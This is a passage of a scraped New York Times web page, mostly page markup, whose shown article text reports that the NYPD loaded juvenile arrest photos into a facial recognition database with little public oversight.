0-.9-.2-1.1-.5h-.2l-1.7 1.9-1.7-1.9-3 2 .1.2.8-.5 1 1.1v6.3l-1.3 1 .2.2.6-.5 2.4 2 3.1-2.1-.1-.2-.9.5-1.2-1V9c.5.5 1.1 1 1.8 1 1.4.1 2.2-1.3 2.3-2.9zm12 9.6L123 19l-4.6-7 3.3-5.1h.2c.4.4 1 .8 1.7.8s1.2-.4 1.5-.8h.2c-.1 2-1.5 3.2-2.5 3.2s-1.5-.5-2.1-.8l-.3.5 5 7.4 1-.6v.1zm-11-.5l-1.3 1 .2.2.6-.5 2.2 2 3-2-.2-.2-.8.5-1-1V.8h-.1l-3.6 2.4v.2c.4.2 1 .3 1 1.5v11.3zM143 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8-1.3-.4-2.5-.8-3.5-.8-2 0-3.4 1.5-3.4 3.2 0 1.5 1.1 2 1.5 2.2l.1-.2c-.3-.2-.6-.4-.6-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8V9l-1.5 1.3v.1l1.5 1.3V16c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2c.5-1.3 1.6-2.2 2.6-2.9l-.1-.2c-3 .8-5.7 3.5-5.7 6.9 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1L140 8.8v-3c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7.1-1.5.3-2.1l2.1-.9-.1 6.2zm12.2-12h-.1l-2 1.7v.1l1.7 1.9h.2l2-1.7v-.1l-1.8-1.9zm3 14.8l-.8.5-1-1V9.3l1-.7-.2-.2-.7.6-1.8-2.1-2.9 2 .2.3.7-.5.9 1.1v6.5l-1.3 1 .1.2.7-.5 2.2 2 3-2-.1-.3zm16.7-.1l-.7.5-1.1-1V9.3l1-.8-.2-.2-.8.7-2.3-2.1-3 2.1-2.3-2.1L154 9l-1.8-2.1-2.9 2 .1.3.7-.5 1 1.1v6.5l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.9-.6 1.5 1.4v6l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.8-.5 1.6 1.4v6l-.7.7 2.3 2.1 3.1-2.1v-.3zm8.7-1.5l-2.5 1.9-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.8l3.5 2.5 4.5-3.6-.1-.3zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zm14.1-.9l-1.9-1.5c1.3-1.1 1.8-2.6 1.8-3.6v-.6h-.2c-.2.5-.6 1-1.4 1-.8 0-1.3-.4-1.8-1L176 9.3v3.6l1.7 1.3c-1.7 1.5-2 2.5-2 3.3 0 1 .5 1.7 1.3 2l.1-.2c-.2-.2-.4-.3-.4-.8 0-.3.4-.8 1.2-.8 1 0 1.6.7 1.9 1l4.3-2.6v-3.6h-.1zm-1.1-3c-.7 1.2-2.2 2.4-3.1 3l-1.1-.9V8.1c.4 1 1.5 1.8 2.6 1.8.7 0 1.1-.1 1.6-.4zm-1.7 8c-.5-1.1-1.7-1.9-2.9-1.9-.3 0-1.1 0-1.9.5.5-.8 1.8-2.2 3.5-3.2l1.2 1 .1 3.6z"></path></svg></a></div><div class="css-y3sf94 ez4a0qj1"><a href="https://myaccount.nytimes.com/auth/login?response_type=cookie&amp;client_id=vi" class="css-1kj7lfb"><button class="css-1bnxwmn ez4a0qj0" data-testid="login-button">Log In</button></a><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="User Settings" class="ez4a0qj4 css-1i8g3m4" data-testid="user-settings-button"><svg class="css-10m9xeu" viewBox="0 0 16 16" fill="#333"><path d="M8,10c-2.5,0-7,1.1-7,3.5V16h14v-2.5C15,11.1,10.5,10,8,10z"></path><circle cx="8" cy="4" r="4"></circle></svg></button></div></div></section><section class="hasLinks css-3qijnq e1csuq9d3"><div class="css-uqyvli e1csuq9d0"></div><div class="css-1uqjmks e1csuq9d1"></div><div class="css-9e9ivx"><a href="https://myaccount.nytimes.com/auth/login?response_type=cookie&amp;client_id=vi" class="css-1gz70xg">Log In</a></div><div class="css-1bvtpon e1csuq9d2"><a href="https://www.nytimes.com/section/todayspaper" class="css-2bwtzy">Today’s Paper</a></div></section></header></div></div><div aria-hidden="false"><main id="site-content"><div><div class="css-4g4cvq" style="opacity:0.000000001;z-index:-1;visibility:hidden"><div class="css-m6xlts"><div class="css-1ahhg7f"><span class="css-17xtcya"><a href="/section/nyregion">New York</a></span><span class="css-x15j1o">|</span><span class="css-fwqvlz">She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.</span></div><div class="css-k008qs"><div class="css-1iwv8en"><a href="/"><svg class="css-1ri25x2" viewBox="0 0 16 22"><path d="M15.863 13.08c-.687 1.818-1.923 3.147-3.64 3.916v-3.917l2.129-1.958-2.129-1.889V6.505c1.923-.14 3.228-1.609 3.228-3.358C15.45.84 13.32 0 12.086 0c-.275 0-.55 0-.962.14v.14h.481c.824 0 1.51.42 1.51 1.189 0 .63-.48 1.189-1.304 1.189-2.129 0-4.6-1.749-7.279-1.749C2.13.91.481 2.728.481 4.546c0 1.819 1.03 2.448 2.128 2.798v-.14c-.343-.21-.618-.63-.618-1.189 0-.84.756-1.469 1.648-1.469 2.267 0 5.906 1.959 8.172 1.959h.206v2.727l-2.129 1.889 2.13 1.958v3.987c-.894.35-1.786.49-2.748.49-3.502 0-5.768-2.169-5.768-5.806 0-.839.137-1.678.344-2.518l1.785-.769v7.973l3.57-1.608V6.575L3.984 8.953c.55-1.61 1.648-2.728 2.953-3.358v-.07C3.433 6.295 0 9.023 0 13.08c0 4.686 3.914 7.974 8.446 7.974 4.807 0 7.485-3.288 7.554-7.974h-.137z" fill="#000"></path></svg></a><span class="css-1hfdzay"><div><a href="/" aria-label="New York Times Logo. Click to visit the homepage"><svg xmlns="http://www.w3.org/2000/svg" class="css-12fr9lp" viewBox="0 0 184 25" fill="#000"><path d="M13.8 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8C6.2 1.4 5 1 4 1 2 1 .6 2.5.6 4.2c0 1.5 1.1 2 1.5 2.2l.1-.2c-.2-.2-.5-.4-.5-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8v3.1L9 10.2v.1l1.5 1.3v4.3c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2C3.6 6.9 4.7 6 5.8 5.4l-.1-.3c-3 .8-5.7 3.6-5.7 7 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1l-1.6-1.3V5.8c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7 0-1.5.2-2.1l2.1-.9v6.2zm10.6 2.3l-1.3 1 .2.2.6-.5 2.2 2 3-2-.1-.2-.8.5-1-1V9.4l.8-.6 1.7 1.4v6.1c0 3.8-.8 4.4-2.5 5v.3c2.8.1 5.4-.8 5.4-5.7V9.3l.9-.7-.2-.2-.8.6-2.5-2.1L18.5 9V.8h-.2l-3.5 2.4v.2c.4.2 1 .4 1 1.5l-.1 11.3zM34 15.1L31.5 17 29 15v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM53.1 2c0-.3-.1-.6-.2-.9h-.2c-.3.8-.7 1.2-1.7 1.2-.9 0-1.5-.5-1.9-.9l-2.9 3.3.2.2 1-.9c.6.5 1.1.9 2.5 1v8.3L44 3.2c-.5-.8-1.2-1.9-2.6-1.9-1.6 0-3 1.4-2.8 3.6h.3c.1-.6.4-1.3 1.1-1.3.5 0 1 .5 1.3 1v3.3c-1.8 0-3 .8-3 2.3 0 .8.4 2 1.6 2.3v-.2c-.2-.2-.3-.4-.3-.7 0-.5.4-.9 1.1-.9h.5v4.2c-2.1 0-3.8 1.2-3.8 3.2 0 1.9 1.6 2.8 3.4 2.7v-.2c-1.1-.1-1.6-.6-1.6-1.3 0-.9.6-1.3 1.4-1.3.8 0 1.5.5 2 1.1l2.9-3.2-.2-.2-.7.8c-1.1-1-1.7-1.3-3-1.5V5l8 14h.6V5c1.5-.1 2.9-1.3 2.9-3zm7.3 13.1L57.9 17l-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM76.7 8l-.7.5-1.9-1.6-2.2 2 .9.9v7.5l-2.4-1.5V9.6l.8-.5-2.3-2.2-2.2 2 .9.9V17l-.3.2-2.1-1.5v-6c0-1.4-.7-1.8-1.5-2.3-.7-.5-1.1-.8-1.1-1.5 0-.6.6-.9.9-1.1v-.2c-.8 0-2.9.8-2.9 2.7 0 1 .5 1.4 1 1.9s1 .9 1 1.8v5.8l-1.1.8.2.2 1-.8 2.3 2 2.5-1.7 2.8 1.7 5.3-3.1V9.2l1.3-1-.2-.2zm18.6-5.5l-1 .9-2.2-2-3.3 2.4V1.6h-.3l.1 16.2c-.3 0-1.2-.2-1.9-.4l-.2-13.5c0-1-.7-2.4-2.5-2.4s-3 1.4-3 2.8h.3c.1-.6.4-1.1 1-1.1s1.1.4 1.1 1.7v3.9c-1.8.1-2.9 1.1-2.9 2.4 0 .8.4 2 1.6 2V13c-.4-.2-.5-.5-.5-.7 0-.6.5-.8 1.3-.8h.4v6.2c-1.5.5-2.1 1.6-2.1 2.8 0 1.7 1.3 2.9 3.3 2.9 1.4 0 2.6-.2 3.8-.5 1-.2 2.3-.5 2.9-.5.8 0 1.1.4 1.1.9 0 .7-.3 1-.7 1.1v.2c1.6-.3 2.6-1.3 2.6-2.8s-1.5-2.4-3.1-2.4c-.8 0-2.5.3-3.7.5-1.4.3-2.8.5-3.2.5-.7 0-1.5-.3-1.5-1.3 0-.8.7-1.5 2.4-1.5.9 0 2 .1 3.1.4 1.2.3 2.3.6 3.3.6 1.5 0 2.8-.5 2.8-2.6V3.7l1.2-1-.2-.2zm-4.1 6.1c-.3.3-.7.6-1.2.6s-1-.3-1.2-.6V4.2l1-.7 1.4 1.3v3.8zm0 3c-.2-.2-.7-.5-1.2-.5s-1 .3-1.2.5V9c.2.2.7.5 1.2.5s1-.3 1.2-.5v2.6zm0 4.7c0 .8-.5 1.6-1.6 1.6h-.8V12c.2-.2.7-.5 1.2-.5s.9.3 1.2.5v4.3zm13.7-7.1l-3.2-2.3-4.9 2.8v6.5l-1 .8.1.2.8-.6 3.2 2.4 5-3V9.2zm-5.4 6.3V8.3l2.5 1.8v7.1l-2.5-1.7zm14.9-8.4h-.2c-.3.2-.6.4-.9.4-.4 0-.9-.2-1.1-.5h-.2l-1.7 1.9-1.7-1.9-3 2 .1.2.8-.5 1 1.1v6.3l-1.3 1 .2.2.6-.5 2.4 2 3.1-2.1-.1-.2-.9.5-1.2-1V9c.5.5 1.1 1 1.8 1 1.4.1 2.2-1.3 2.3-2.9zm12 9.6L123 19l-4.6-7 3.3-5.1h.2c.4.4 1 .8 1.7.8s1.2-.4 1.5-.8h.2c-.1 2-1.5 3.2-2.5 3.2s-1.5-.5-2.1-.8l-.3.5 5 7.4 1-.6v.1zm-11-.5l-1.3 1 .2.2.6-.5 2.2 2 3-2-.2-.2-.8.5-1-1V.8h-.1l-3.6 2.4v.2c.4.2 1 .3 1 1.5v11.3zM143 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8-1.3-.4-2.5-.8-3.5-.8-2 0-3.4 1.5-3.4 3.2 0 1.5 1.1 2 1.5 2.2l.1-.2c-.3-.2-.6-.4-.6-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8V9l-1.5 1.3v.1l1.5 1.3V16c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2c.5-1.3 1.6-2.2 2.6-2.9l-.1-.2c-3 .8-5.7 3.5-5.7 6.9 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1L140 8.8v-3c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7.1-1.5.3-2.1l2.1-.9-.1 6.2zm12.2-12h-.1l-2 1.7v.1l1.7 1.9h.2l2-1.7v-.1l-1.8-1.9zm3 14.8l-.8.5-1-1V9.3l1-.7-.2-.2-.7.6-1.8-2.1-2.9 2 .2.3.7-.5.9 1.1v6.5l-1.3 1 .1.2.7-.5 2.2 2 3-2-.1-.3zm16.7-.1l-.7.5-1.1-1V9.3l1-.8-.2-.2-.8.7-2.3-2.1-3 2.1-2.3-2.1L154 9l-1.8-2.1-2.9 2 .1.3.7-.5 1 1.1v6.5l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.9-.6 1.5 1.4v6l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.8-.5 1.6 1.4v6l-.7.7 2.3 2.1 3.1-2.1v-.3zm8.7-1.5l-2.5 1.9-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.8l3.5 2.5 4.5-3.6-.1-.3zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zm14.1-.9l-1.9-1.5c1.3-1.1 1.8-2.6 1.8-3.6v-.6h-.2c-.2.5-.6 1-1.4 1-.8 0-1.3-.4-1.8-1L176 9.3v3.6l1.7 1.3c-1.7 1.5-2 2.5-2 3.3 0 1 .5 1.7 1.3 2l.1-.2c-.2-.2-.4-.3-.4-.8 0-.3.4-.8 1.2-.8 1 0 1.6.7 1.9 1l4.3-2.6v-3.6h-.1zm-1.1-3c-.7 1.2-2.2 2.4-3.1 3l-1.1-.9V8.1c.4 1 1.5 1.8 2.6 1.8.7 0 1.1-.1 1.6-.4zm-1.7 8c-.5-1.1-1.7-1.9-2.9-1.9-.3 0-1.1 0-1.9.5.5-.8 1.8-2.2 3.5-3.2l1.2 1 .1 3.6z"></path></svg></a></div></span></div><div class="css-1705lsu"><div class=""><div role="toolbar" aria-label="Social Media Share buttons, Save button, and Comments Panel with current comment count" class="css-4skfbu" data-testid="share-tools"><ul class="css-y8aj3r"><li class="css-1fcn4th"><a href="https://www.facebook.com/dialog/feed?app_id=9869919170&amp;link=https%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html&amp;smid=fb-share&amp;name=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;redirect_uri=https%3A%2F%2Fwww.facebook.com%2F" target="_blank" rel="noopener noreferrer" aria-label="Share on Facebook"><svg class="css-13zu7ev" viewBox="0 0 7 15" width="7" height="15"><path fill-rule="evenodd" clip-rule="evenodd" d="M4.775 14.163V7.08h1.923l.255-2.441H4.775l.004-1.222c0-.636.06-.977.958-.977H6.94V0H5.016c-2.31 0-3.123 1.184-3.123 3.175V4.64H.453v2.44h1.44v7.083h2.882z" fill="#000"></path></svg></a></li><li class="css-1fcn4th"><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fnyti.ms%2F2GEzuZ8&amp;text=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database." target="_blank" rel="noopener noreferrer" aria-label="Share on Twitter"><svg viewBox="0 0 13 10" class="css-13zu7ev" width="13" height="10"><path fill-rule="evenodd" clip-rule="evenodd" d="M5.987 2.772l.025.425-.429-.052c-1.562-.2-2.927-.876-4.086-2.011L.93.571.784.987c-.309.927-.111 1.906.533 2.565.343.364.266.416-.327.2-.206-.07-.386-.122-.403-.096-.06.06.146.85.309 1.161.223.434.678.858 1.176 1.11l.42.199-.497.009c-.481 0-.498.008-.447.19.172.564.85 1.162 1.606 1.422l.532.182-.464.277a4.833 4.833 0 0 1-2.3.641c-.387.009-.704.044-.704.07 0 .086 1.047.572 1.657.762 1.828.564 4 .32 5.631-.641 1.159-.685 2.318-2.045 2.859-3.363.292-.702.583-1.984.583-2.6 0-.398.026-.45.507-.927.283-.277.55-.58.6-.667.087-.165.078-.165-.36-.018-.73.26-.832.226-.472-.164.266-.278.584-.78.584-.928 0-.026-.129.018-.275.096a4.79 4.79 0 0 1-.755.294l-.464.148-.42-.286C9.66.467 9.335.293 9.163.24 8.725.12 8.055.137 7.66.276c-1.074.39-1.752 1.395-1.674 2.496z" fill="#000"></path></svg></a></li><li class="css-1fcn4th"><a href="mailto:?subject=NYTimes.com%3A%20She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;body=From%20The%20New%20York%20Times%3A%0A%0AShe%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.%0A%0AWith%20little%20oversight%2C%20the%20N.Y.P.D.%20has%20been%20using%20powerful%20surveillance%20technology%20on%20photos%20of%20children%20and%20teenagers.%0A%0Ahttps%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html" target="_blank" rel="noopener noreferrer" aria-label="Email"><svg viewBox="0 0 15 9" class="css-13zu7ev" width="15" height="9"><path fill-rule="evenodd" clip-rule="evenodd" d="M.906 8.418V0L5.64 4.76.906 8.419zm13 0L9.174 4.761 13.906 0v8.418zM7.407 6.539l-1.13-1.137L.907 9h13l-5.37-3.598-1.13 1.137zM1.297 0h12.22l-6.11 5.095L1.297 0z" fill="#000"></path></svg></a></li><li class="css-1fcn4th"><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="More sharing options" class="css-16ogagc" data-testid=""><svg class="css-f7l8cz" viewBox="0 0 16 13" width="16" height="13"><path fill-rule="evenodd" clip-rule="evenodd" d="M15.406 5.359L8.978 0v3.215C3.82 3.215.406 8.107.406 12.66 1.653 9.133 4.29 7.517 8.978 7.517v3.2l6.428-5.358z" fill="#000"></path></svg></button></div></li><li class="css-60hakz"></li><li class="css-l72opv"></li></ul></div></div></div></div></div></div><meta itemProp="isAccessibleForFree" content="false"/><span itemProp="isPartOf" itemscope="" itemType="http://schema.org/CreativeWork http://schema.org/Product"><meta itemProp="name" content="The New York Times"/><meta itemProp="productID" content="nytimes.com:basic"/></span><article id="story" class="css-1vxca1d e1qksbhf0"><div id="top-wrapper" class="css-1sy8kpn"><div id="top-slug" class="css-l9onyx"><p>Advertisement</p></div><div class="ad top-wrapper" style="text-align:center;height:100%;display:block;min-height:250px"><div id="top" class="place-ad" data-position="top"></div></div></div><span itemProp="hasPart" itemscope="" itemType="http://schema.org/WebPageElement"><meta itemProp="isAccessibleForFree" content="False"/><meta itemProp="cssSelector" content=".meteredContent"/></span><div><header class="css-llk6mt euiyums4"><div id="sponsor-wrapper" class="css-1hyfx7x"><div id="sponsor-slug" class="css-19vbshk"><p>Supported by</p></div><div class="ad sponsor-wrapper" style="text-align:center;height:100%;display:block"><div id="sponsor" class="" data-position="sponsor"></div></div></div><div class="css-11n4cex euiyums3"></div><div class="css-1vkm6nb ehdk2mb0"><h1 itemProp="headline" class="css-1s4ffep e1h9rw200" id="link-2df79d6c"><span>She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.</span></h1></div><p class="css-1ifw933 e1wiw3jv0">With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.</p><div class="css-79elbk" data-testid="photoviewer-wrapper"><div class="css-z3e15g" data-testid="photoviewer-wrapper-hidden"></div><div data-testid="photoviewer-children" class="css-1a48zt4 ehw59r15"><figure class="sizeMedium layoutVertical css-1ox9jel" aria-label="media" role="group" itemscope="" itemProp="associatedMedia" itemID="https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg?quality=90&amp;auto=webp" itemType="http://schema.org/ImageObject"><div class="css-bsn42l"><span class="css-1dv1kvn">Image</span><img alt="“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, who pleaded guilty to an assault that occurred when she was 14." class="css-11cwn6f" src="https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg?quality=75&amp;auto=webp&amp;disable=upscale" srcSet="https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg?quality=90&amp;auto=webp 600w,https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-jumbo.jpg?quality=90&amp;auto=webp 683w,https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-superJumbo.jpg?quality=90&amp;auto=webp 1366w" sizes="((min-width: 600px) and (max-width: 1004px)) 84vw, (min-width: 1005px) 60vw, 100vw" itemProp="url" itemID="https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg?quality=75&amp;auto=webp&amp;disable=upscale"/></div><figcaption itemProp="caption description" class="css-17ai7jg emkp2hg0"><span aria-hidden="true" class="css-8i9d0s e13ogyst0">“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, who pleaded guilty to an assault that occurred when she was 14.</span><span itemProp="copyrightHolder" class="emkp2hg2 css-1nwzsjy e1z0qqy90"><span class="css-1ly73wi e1tej78p0">Credit</span><span><span class="css-1dv1kvn">Credit</span><span>Sarah Blesener for The New York Times</span></span></span></figcaption></figure></div></div><div class="css-acwcvw epjyd6m0"><div class="css-pdw9fk epjyd6m1"><div class="css-1txwxcy ey68jwv0"><a href="https://www.nytimes.com/by/joseph-goldstein" class="css-uwwqev"><img alt="Joseph Goldstein" title="Joseph Goldstein" src="https://static01.nyt.com/images/2018/07/16/multimedia/author-joseph-goldstein/author-joseph-goldstein-thumbLarge.png" class="css-1rjmmt7 ey68jwv2"/></a><a href="https://www.nytimes.com/by/ali-watkins" class="css-uwwqev"><img alt="Ali Watkins" title="Ali Watkins" src="https://static01.nyt.com/images/2019/02/20/multimedia/author-ali-watkins/author-ali-watkins-thumbLarge.png" class="css-1rjmmt7 ey68jwv2"/></a></div><div class="css-1baulvz"><p class="css-1nuro5j e1jsehar1" itemProp="author" itemscope="" itemType="http://schema.org/Person">By<!-- --> <a href="https://www.nytimes.com/by/joseph-goldstein" class="css-1riqqik e1jsehar0"><span class="css-1baulvz" itemProp="name">Joseph Goldstein</span></a> and <a href="https://www.nytimes.com/by/ali-watkins" class="css-1riqqik e1jsehar0"><span class="css-1baulvz last-byline" itemProp="name">Ali Watkins</span></a></p></div></div><ul class="css-1w5cs23 epjyd6m2"><li><time class="css-rqb9bm e16638kd0" dateTime="2019-08-01">Aug 1, 2019</time></li><li class="css-6n7j50"><div class=""><div role="toolbar" aria-label="Social Media Share buttons, Save button, and Comments Panel with current comment count" class="css-d8bdto" data-testid="share-tools"><ul class="css-y8aj3r"><li class="css-60hakz"><a href="https://www.facebook.com/dialog/feed?app_id=9869919170&amp;link=https%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html&amp;smid=fb-share&amp;name=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;redirect_uri=https%3A%2F%2Fwww.facebook.com%2F" target="_blank" rel="noopener noreferrer" aria-label="Share on Facebook"><svg class="css-4brsb6" viewBox="0 0 7 15" width="7" height="15"><path fill-rule="evenodd" clip-rule="evenodd" d="M4.775 14.163V7.08h1.923l.255-2.441H4.775l.004-1.222c0-.636.06-.977.958-.977H6.94V0H5.016c-2.31 0-3.123 1.184-3.123 3.175V4.64H.453v2.44h1.44v7.083h2.882z" fill="#000"></path></svg></a></li><li class="css-60hakz"><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fnyti.ms%2F2GEzuZ8&amp;text=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database." target="_blank" rel="noopener noreferrer" aria-label="Share on Twitter"><svg viewBox="0 0 13 10" class="css-4brsb6" width="13" height="10"><path fill-rule="evenodd" clip-rule="evenodd" d="M5.987 2.772l.025.425-.429-.052c-1.562-.2-2.927-.876-4.086-2.011L.93.571.784.987c-.309.927-.111 1.906.533 2.565.343.364.266.416-.327.2-.206-.07-.386-.122-.403-.096-.06.06.146.85.309 1.161.223.434.678.858 1.176 1.11l.42.199-.497.009c-.481 0-.498.008-.447.19.172.564.85 1.162 1.606 1.422l.532.182-.464.277a4.833 4.833 0 0 1-2.3.641c-.387.009-.704.044-.704.07 0 .086 1.047.572 1.657.762 1.828.564 4 .32 5.631-.641 1.159-.685 2.318-2.045 2.859-3.363.292-.702.583-1.984.583-2.6 0-.398.026-.45.507-.927.283-.277.55-.58.6-.667.087-.165.078-.165-.36-.018-.73.26-.832.226-.472-.164.266-.278.584-.78.584-.928 0-.026-.129.018-.275.096a4.79 4.79 0 0 1-.755.294l-.464.148-.42-.286C9.66.467 9.335.293 9.163.24 8.725.12 8.055.137 7.66.276c-1.074.39-1.752 1.395-1.674 2.496z" fill="#000"></path></svg></a></li><li class="css-60hakz"><a href="mailto:?subject=NYTimes.com%3A%20She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;body=From%20The%20New%20York%20Times%3A%0A%0AShe%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.%0A%0AWith%20little%20oversight%2C%20the%20N.Y.P.D.%20has%20been%20using%20powerful%20surveillance%20technology%20on%20photos%20of%20children%20and%20teenagers.%0A%0Ahttps%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html" target="_blank" rel="noopener noreferrer" aria-label="Email"><svg viewBox="0 0 15 9" class="css-4brsb6" width="15" height="9"><path fill-rule="evenodd" clip-rule="evenodd" d="M.906 8.418V0L5.64 4.76.906 8.419zm13 0L9.174 4.761 13.906 0v8.418zM7.407 6.539l-1.13-1.137L.907 9h13l-5.37-3.598-1.13 1.137zM1.297 0h12.22l-6.11 5.095L1.297 0z" fill="#000"></path></svg></a></li><li class="css-60hakz"><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="More sharing options" class="css-16ogagc" data-testid=""><svg class="css-uhuo44" viewBox="0 0 16 13" width="16" height="13"><path fill-rule="evenodd" clip-rule="evenodd" d="M15.406 5.359L8.978 0v3.215C3.82 3.215.406 8.107.406 12.66 1.653 9.133 4.29 7.517 8.978 7.517v3.2l6.428-5.358z" fill="#000"></path></svg></button></div></li><li class="css-60hakz"></li><li class="css-l72opv"></li></ul></div></div></li></ul></div></header></div><section name="articleBody" itemProp="articleBody" class="meteredContent css-1i2y565"><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0"><em class="css-2fg4z9 e1gzwzxm0">[What you need to know to start the day: </em><a class="css-1g7m0tk" href="https://www.nytimes.com/newsletters/newyorktoday?module=inline" title=""><em class="css-2fg4z9 e1gzwzxm0">Get New York Today in your inbox</em></a><em class="css-2fg4z9 e1gzwzxm0">.]</em></p><p class="css-exrw3m evys1bk0">The New York Police Department has been loading <!-- -->thousands of arrest photos of children and teenagers<!-- --> into a facial recognition database despite evidence the technology has a higher risk of false matches in younger faces. </p><p class="css-exrw3m evys1bk0">For about four years, internal records show, the department has used the technology to compare crime scene images with its collection of juvenile mug <!-- -->shots<!-- -->, the photos that are taken at an arrest. Most of the photos are of teenagers, largely 13 to 16 years old, but children as young as 11 have been included. </p><p class="css-exrw3m evys1bk0">Elected officials and civil rights groups said the disclosure that the city was deploying a powerful surveillance tool on adolescents — whose privacy seems sacrosanct and whose status is protected in the criminal justice system — was a striking example of the Police Department’s ability to adopt advancing technology with little public scrutiny.</p><p class="css-exrw3m evys1bk0">Several members of the City Council as well as a range of civil liberties groups said they were unaware of the policy until they were contacted by The New York Times. </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">Police <!-- -->Department officials defended the decision, <!-- -->saying it was just the latest evolution of a longstanding policing technique: using arrest photos to identify suspects.</p><p class="css-exrw3m evys1bk0">“I don’t think this is any secret decision that’s made behind closed doors,” the city’s chief of detectives, Dermot F. Shea, said in an interview. “This is just process, and making sure we’re doing everything to fight crime.” </p><p class="css-exrw3m evys1bk0">Other cities 